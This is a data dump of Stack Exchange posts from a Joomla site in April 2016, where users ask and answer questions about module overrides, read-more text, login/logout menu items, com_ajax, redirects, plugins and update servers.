  <row Id="16015" PostTypeId="1" CreationDate="2016-04-05T19:56:36.937" Score="6" ViewCount="2160" Body="&lt;p&gt;Is it possible to set a custom &lt;strong&gt;Read more&lt;/strong&gt; text for each article in Joomla? I would like to be able to somehow set a unique text for some of the readmore links (added using &lt;code&gt;&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;&lt;/code&gt; in my articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;kbd&gt;Read more...&lt;/kbd&gt;, &lt;kbd&gt;Keep reading...&lt;/kbd&gt; or &lt;kbd&gt;Explore...&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Language overrides won't work, because that would change all the links. I know I could create a button and link it to another article, but that's not an ideal solution either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WordPress you can use &lt;code&gt;&amp;lt;!--more Keep reading--&amp;gt;&lt;/code&gt; to set a custom text for a particular button, does Joomla have a similar option (or another way of solving this)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-04-05T21:12:46.677" Title="Custom Read More text" Tags="|joomla-3.x|com-content|readmore|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16016" PostTypeId="2" ParentId="16015" CreationDate="2016-04-05T21:12:46.677" Score="11" Body="&lt;p&gt;Yes is posible, go to each article, from here you can see a Tab called &lt;strong&gt;Options&lt;/strong&gt;&lt;br/&gt;at the bottom you can see the field &lt;strong&gt;Read More Text&lt;/strong&gt;, see the screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WAHJy.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WAHJy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-04-05T21:12:46.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16017" PostTypeId="1" AcceptedAnswerId="16018" CreationDate="2016-04-06T01:47:43.407" Score="4" ViewCount="2638" Body="&lt;p&gt;You might also find this question relevant if you are trying to solve &quot;How to stop Joomla modules being wrapped in divs.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What's the PROBLEM?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Including a module into Joomla, it gets wrapped in a div tag as shown below. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;custom&quot;&amp;gt;&#xA; Module content&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't want the module to be encapsulated/wrapped in anything. As it causes problems with the page layout. In some situations I could fix it with CSS styling, but that is not true of all situations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My set up and what I unsuccessfully tried&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module I was trying to style was being included via an article.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Setting the style to none in the article- &lt;code&gt;{loadmodule module, title, style}&lt;/code&gt; &#xA;My actual code was &lt;code&gt;{loadmodule mod_custom, mymodule, none}&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;Setting the style to none- by going to &lt;strong&gt;Extensions -&gt;Module Manager&lt;/strong&gt; then clicking on the module I wanted to not get wrapped in divs. Then choosing &lt;strong&gt;Advanced -&gt;Module Style=None&lt;/strong&gt;.&lt;a href=&quot;https://i.stack.imgur.com/Y5rwS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y5rwS.jpg&quot; alt=&quot;configure module chrome style via settings&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I was sure that the above should have worked. The code responsible for the above styling was in &lt;code&gt;templates/system/html/modules.php&lt;/code&gt; and it showed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * none (output raw module content)&#xA; */&#xA;function modChrome_none($module, &amp;amp;$params, &amp;amp;$attribs)&#xA;{&#xA;    echo $module-&amp;gt;content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Next failure, I went to &lt;strong&gt;Extensions -&gt; Plugin Manager -&gt;Content Load Modules&lt;/strong&gt; –changed the value to &lt;strong&gt;no wrapping(raw output)&lt;/strong&gt;.&lt;a href=&quot;https://i.stack.imgur.com/oY91x.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oY91x.jpg&quot; alt=&quot;Plugin- Content Load set to raw&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That didn’t work either! WoopDeeDoo! I could still see the module being wrapped in a div with &lt;code&gt;class=”custom”&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2017-09-01T15:30:39.430" Title="Chrome problem: How to remove the div class=”custom” from a Joomla module" Tags="|joomla-3.x|module|overrides|module-style|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16018" PostTypeId="2" ParentId="16017" CreationDate="2016-04-06T01:47:43.407" Score="6" Body="&lt;p&gt;The solution was to create a module override of &lt;code&gt;\modules\mod_custom\tmpl\default.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The offending code in that file was &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;custom&amp;lt;?php echo $moduleclass_sfx ?&amp;gt;&quot; &amp;lt;?php if ($params-&amp;gt;get('backgroundimage')) : ?&amp;gt; style=&quot;background-image:url(&amp;lt;?php echo $params-&amp;gt;get('backgroundimage');?&amp;gt;)&quot;&amp;lt;?php endif;?&amp;gt; &amp;gt;&#xA;    &amp;lt;?php echo $module-&amp;gt;content;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I took the code above, edited it and put it in an override at &lt;code&gt;templates/current-site-template/mod_custom/default.php&lt;/code&gt; The new code was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $module-&amp;gt;content;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That fixed the problem.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional info&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my understanding, the override would remove the divs from all modules published on my site. At first I thought this was undesirable, because in some situations I still want to apply styling to specific modules, but then I re-examined the HTML code. This is how the HTML looked &lt;strong&gt;before the module override&lt;/strong&gt; was applied and a &lt;strong&gt;chrome style of none&lt;/strong&gt; was used&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;custom&quot;  &amp;gt;&#xA;    Module content&#xA;&amp;lt;/div&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is how the HTML looked &lt;strong&gt;before the module override&lt;/strong&gt; was applied and a &lt;strong&gt;chrome style of html5&lt;/strong&gt; was used&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;moduletable&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;custom&quot;  &amp;gt;&#xA;        Module content&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means, if I needed to, I could still apply a custom div and class to specific modules &lt;strong&gt;while using the module override&lt;/strong&gt;. If I chose the &lt;strong&gt;chrome style as html5&lt;/strong&gt; I would get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;moduletable&quot;&amp;gt;   &#xA;    Module content  &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if I used the override with a &lt;strong&gt;chrome styling of none&lt;/strong&gt; I would just get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Module Content&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2016-04-06T03:50:39.360" LastActivityDate="2016-04-06T03:50:39.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16021" PostTypeId="1" AcceptedAnswerId="16022" CreationDate="2016-04-06T11:32:09.290" Score="4" ViewCount="1221" Body="&lt;p&gt;My site is @ Joomla v3.4.8. Today I received an email announcement that Joomla v3.5.1 was released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go to Extensions &gt; Manage &gt; Update &gt; Find Updates, no updates are found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do get a message saying:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning Some update sites are disabled. You may want to check the&#xA;  Update Sites Manager.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In Update Sites Manager, Joomla Core is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1616" LastActivityDate="2016-04-08T07:34:46.080" Title="Find Updates does not find latest Joomla core update" Tags="|joomla-3.4|one-click-updates|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16022" PostTypeId="2" ParentId="16021" CreationDate="2016-04-06T11:37:29.333" Score="5" Body="&lt;p&gt;For Joomla core updates go under &lt;strong&gt;Components &gt; Joomla! Update&lt;/strong&gt;. If it does not appear the new update click on the &quot;Clear Cache&quot; button and all should be fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extensions &gt; Manage &gt; Update&lt;/strong&gt; refers only to components/plugins/module..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check this article that explains how to fix the &lt;a href=&quot;https://docs.joomla.org/Joomla_Update_Missing_in_from_Admin_Menu&quot; rel=&quot;nofollow&quot;&gt;Joomla! Update component missing from admin menu&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastEditorUserId="3585" LastEditDate="2016-04-08T07:34:46.080" LastActivityDate="2016-04-08T07:34:46.080" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16023" PostTypeId="1" AcceptedAnswerId="16075" CreationDate="2016-04-06T12:44:14.040" Score="11" ViewCount="4121" Body="&lt;p&gt;I have a website using Joomla 3.5 and I currently have a 'Login' main menu item. Once a User logs in, there are some sub-menu items that appear under the 'Login' menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is to change the menu item name from 'Login' to 'Logout' and point it to another page so they can actually log out.&lt;/p&gt;&#xA;" OwnerUserId="8038" LastEditorUserId="3650" LastEditDate="2016-11-13T09:27:10.987" LastActivityDate="2016-11-13T09:27:10.987" Title="Change Login to Logout" Tags="|joomla-3.x|menu-item|login|joomla-3.5|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16024" PostTypeId="2" ParentId="16023" CreationDate="2016-04-06T12:51:23.217" Score="2" Body="&lt;p&gt;I had to do the same thing on one of my sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, you should create a &lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;Template Override&lt;/a&gt; for the &lt;strong&gt;mod_login&lt;/strong&gt; module&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, you should have the following file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ROOT/templates/YOUR_TEMPLATE/html/mod_login/default_logout.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note: The path may be slightly different depending on the template's framework.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Then, Open the file mentioned above and add the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addScriptDeclaration('&#xA;&#xA;    jQuery(document).ready(function($){&#xA;&#xA;        $(&quot;#nav&quot;).find(&quot;.item-222 a&quot;).empty().text(&quot;Logout&quot;);&#xA;&#xA;    });&#xA;&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will of course need to change &lt;code&gt;#nav&lt;/code&gt; to your menu wrapped selector and &lt;code&gt;.item-222 a&lt;/code&gt; to the menu item selector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you provide a link to your site, I can give you the exact code used above, but until then, this is all I can provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-06T12:51:23.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16026" PostTypeId="2" ParentId="16023" CreationDate="2016-04-06T14:16:30.257" Score="3" Body="&lt;p&gt;In Joomla! 3.5 we have a new menu item type called &lt;strong&gt;Logout&lt;/strong&gt; in &lt;strong&gt;Users&lt;/strong&gt; section,&lt;br/&gt; create a new menu item and select this new option, see the screenshot:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hnyKk.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hnyKk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-04-06T14:16:30.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16027" PostTypeId="1" AcceptedAnswerId="16155" CreationDate="2016-04-06T15:59:07.753" Score="1" ViewCount="97" Body="&lt;p&gt;I use a responsive template which works great on most browsers, but on some older browsers like IE8 some elements doesn't display correctly, so I wanted to create a custom CSS file for Internet Explorer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I import IE-Only stylesheets the proper way? I could add a condition like  &lt;code&gt;&amp;lt;!--[if lt IE9]&amp;gt; ... &amp;lt;![endif]--&amp;gt;&lt;/code&gt; directly in the template but I don't know if there's a better solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="8180" LastEditorUserId="8180" LastEditDate="2016-04-06T17:18:16.893" LastActivityDate="2016-04-14T07:53:14.627" Title="Import custom stylesheets for IE8 or lower" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16028" PostTypeId="1" CreationDate="2016-04-06T18:03:58.287" Score="1" ViewCount="453" Body="&lt;p&gt;I'm trying to make all my custom php pages into modules so they fit in the proper windows and are responsive.  So I do not want to use Iframes (as I've done previously).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have a module that will read from a database and present the results on a page.   I need to pass this page a parameter (value used in the SQL statement).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can create Joomla modals using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('behavior.modal');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it was a static page, I could simply link to it with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://www.example.com/somepage.html&quot; &#xA;class=&quot;modal&quot; rel=&quot;{size: {x: 700, y: 500}, handler:'iframe'}&quot; &#xA;id=&quot;modalLink1&quot;&amp;gt;&#xA;Click here to see this interesting page&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I need to know how to do that to have the modal have a Joomla Custom Module in it.   I can create an article with the module embedded in it with Modules Anywhere (that is how I've done the Module itself).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is have a form.  When you select a user from a drop down list, you would get an icon that you could click on that would popup the module with all the user info (which is a separate module).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I wanted to simplify this, I could simply create a div and use a jQuery load to fill the div.   However, I want this as a modal instead because I may have a use for the same thing on other pages.  It will also save real estate on the page if it is a modal instead of a populated div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7700" LastActivityDate="2016-04-06T18:03:58.287" Title="How can I put a module in a modal and pass parameters" Tags="|joomla-3.x|custom-module|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16029" PostTypeId="1" AcceptedAnswerId="16030" CreationDate="2016-04-06T19:21:59.323" Score="2" ViewCount="674" Body="&lt;p&gt;I'm using com_ajax for requests, and I've run into a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to determine if the user making an AJAX request is logged in. When I call JFactory::getUser(), it's returning a guest user, ID=0. Similarly JApplication-&gt;isAdmin() returns false. I'm guessing that's because com_ajax resides in the site side, not the administrator side. Is that right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to use com_ajax and distinguish if someone is authenticated? Alternatively, is there an equivalent to com_ajax on the administrator side? Do I have to write my own Ajax on an administrative component?&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2017-07-25T09:46:19.257" Title="com_ajax and JFactory::getUser()" Tags="|joomla-3.x|development|plugin|com-plugins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16030" PostTypeId="2" ParentId="16029" CreationDate="2016-04-06T19:32:04.587" Score="3" Body="&lt;p&gt;Assuming you using the correct naming conventions for you Ajax task in the URL and PHP function, you should have something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function myFunctionAjax()&#xA;{&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Javascript file&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var request = {&#xA;    'option' : 'com_ajax',&#xA;    'module' : 'mymodule',&#xA;    'method' : 'myFunction',&#xA;    'format' : 'raw'&#xA;};&#xA;&#xA;$.ajax({&#xA;    type: 'POST',&#xA;    data: request,&#xA;    success: function(response) {&#xA;        // etc&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;myFunction&lt;/code&gt; needs to use the same name as the PHP function you wish to execute (&lt;code&gt;myFunctionAjax()&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only different being is that PHP function needs &lt;code&gt;Ajax&lt;/code&gt; on the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then inside your PHP function, you can check if the user is logged in, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function myFunctionAjax()&#xA;{&#xA;    $user = JFactory::getUser();&#xA;&#xA;    if (!$user-&amp;gt;guest)&#xA;    {&#xA;        // perform some magic&#xA;    }&#xA;    else&#xA;    {&#xA;        // Sorry, you must be logged in&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-07-25T09:46:19.257" LastActivityDate="2017-07-25T09:46:19.257" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16031" PostTypeId="1" CreationDate="2016-04-06T19:59:37.210" Score="2" ViewCount="786" Body="&lt;p&gt;While trying to update my Joomla instance on my native environment in OSX Yosemite 10.10.5. I am brought to the &quot;updating&quot; page where the progress bar shows up and a message that says 'Updating your Joomla files. Please wait ...' but nothing happens. I looked in my server log files but found nothing unusual, however I do get an error in the browser console on the 'updating' page that says -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: window.pingExtract is not a function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8181" LastActivityDate="2016-04-20T11:15:41.047" Title="Joomla 3.4.8 update to 3.5 giving 'Uncaught TypeError: window.pingExtract is not a function' in console" Tags="|joomla-3.4|update|joomla-3.5|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16032" PostTypeId="1" AcceptedAnswerId="16041" CreationDate="2016-04-06T20:03:58.220" Score="10" ViewCount="11500" Body="&lt;p&gt;I know that you can achieve this by doing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JFactory::getApplication-&amp;gt;redirect(url, message, type)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the documentation at&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JApplication.html&quot; rel=&quot;noreferrer&quot;&gt;JFactory::getApplication&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;says it is deprecated and suggest to use &lt;code&gt;enqueueMessage&lt;/code&gt; that is also deprecated and that doesn't redirect you for example to home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I redirect an user to home page with system message using methods that are not deprecated. Documentation says they will (?) be deprecated in version 4 of Joomla, so is the current method the only one or is there already a new one standard method to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;These methods aren't deprecated on JApplicationCms (Joomla libraries), but are deprecated on JApplication (Joomla Plaftorm). So since &lt;code&gt;JFactory::getApplication&lt;/code&gt; returns JApplicationCms object, then the methods like &lt;code&gt;redirect&lt;/code&gt; and &lt;code&gt;enqueueMessage&lt;/code&gt; aren't deprecated and using them is the correct way to redirect with message.&lt;/p&gt;&#xA;" OwnerUserId="8182" LastEditorUserId="8182" LastEditDate="2016-04-07T14:22:38.547" LastActivityDate="2016-04-07T14:22:38.547" Title="How to redirect user with system message in Joomla 3" Tags="|joomla-3.x|joomla-api|redirect|deprecated|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16033" PostTypeId="1" AcceptedAnswerId="16039" CreationDate="2016-04-06T20:38:06.040" Score="3" ViewCount="473" Body="&lt;p&gt;I'm new to Joomla. The first time I create a plugin. I am trying to create a new plugin, but it does not work. Events did not react.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla version 3.4.8. PHP 5.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;plgcontenttitlere.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    defined( '_JEXEC' ) or die;&#xA;jimport('joomla.plugin.plugin');&#xA;echo 'test'; // WORKING!&#xA;class plgContentTitlere extends JPlugin&#xA;{&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    function __construct( &amp;amp;$subject , $config ) {&#xA;    parent::__construct($subject, $config);&#xA;         echo 'TEST'; // DOESN&quot;T WORK!&#xA;    } &#xA;     public function onContentPrepare($context,&amp;amp;$row, &amp;amp;$params, $limitstart) {&#xA;          echo 'TEST'; // DOESN&quot;T WORK!&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;File &lt;strong&gt;plgcontenttitlere.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.1&quot; type=&quot;plugin&quot; group=&quot;content&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Content - TitleRe&amp;lt;/name&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;March 2016&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) 2016 - Vektor Media. All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License version 2 or later; see LICENSE.txt&amp;lt;/license&amp;gt;&#xA;    &amp;lt;version&amp;gt;0.1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;plgcontenttitlere&quot;&amp;gt;plgcontenttitlere.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see the output before plugin &lt;code&gt;echo 'test'&lt;/code&gt; the work. But inside it does not work. error_reporting does not display an error&lt;/p&gt;&#xA;" OwnerUserId="8178" LastEditorUserId="8178" LastEditDate="2016-04-08T08:19:27.713" LastActivityDate="2016-04-08T12:58:00.690" Title="Simple Joomla plugin doesn't work" Tags="|joomla-3.x|joomla-3.4|plugin|plugin-events|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16034" PostTypeId="1" AcceptedAnswerId="16036" CreationDate="2016-04-06T23:23:42.883" Score="5" ViewCount="465" Body="&lt;p&gt;I know this question has been asked before, I think I've read most of the answers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;make a menu item for the article&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;hack the core (router)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;use a paid SEO extension like sh404sef&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;use rewrites&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;None of these really answer the question.  If a $40/year extension can do this, it must be possible by writing some code, overriding some class or something similar. Does anyone know how this is done.  This is an obvious option that should be in the core admin.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Adding a menu item sounds fine until you have hundreds of articles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hacking the core is just plain desperation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A $40/year extension won't break the bank, except it does 100 other things I don't need and my client will probably not update it after the first year.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;rewrites, see adding menu items.   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8183" LastEditorUserId="3650" LastEditDate="2016-04-07T12:46:35.037" LastActivityDate="2019-04-26T07:59:55.907" Title="How do i remove the id from Joomla 3 URLs using code" Tags="|joomla-3.x|sef|seo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16035" PostTypeId="1" CreationDate="2016-04-06T23:51:46.633" Score="3" ViewCount="55" Body="&lt;p&gt;I'm trying to get an update server going, but I'm just not succeeding. I've instrumented the Joomla update code, and it's finding the update on my server, and it identifies it as an update, but it's failing in the step where it matches up the found update to an installed extension. I'm actually trying to do a &quot;package&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are updates supported for packages? I'm just checking because I know that there are things like uninstall SQL scripts that aren't supported across all extension types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a non-trivial package that has auto-updates I could disassemble and look at?&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-04-07T21:41:54.893" Title="Non-Trivial Package Update Example" Tags="|joomla-3.x|development|extension-update|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
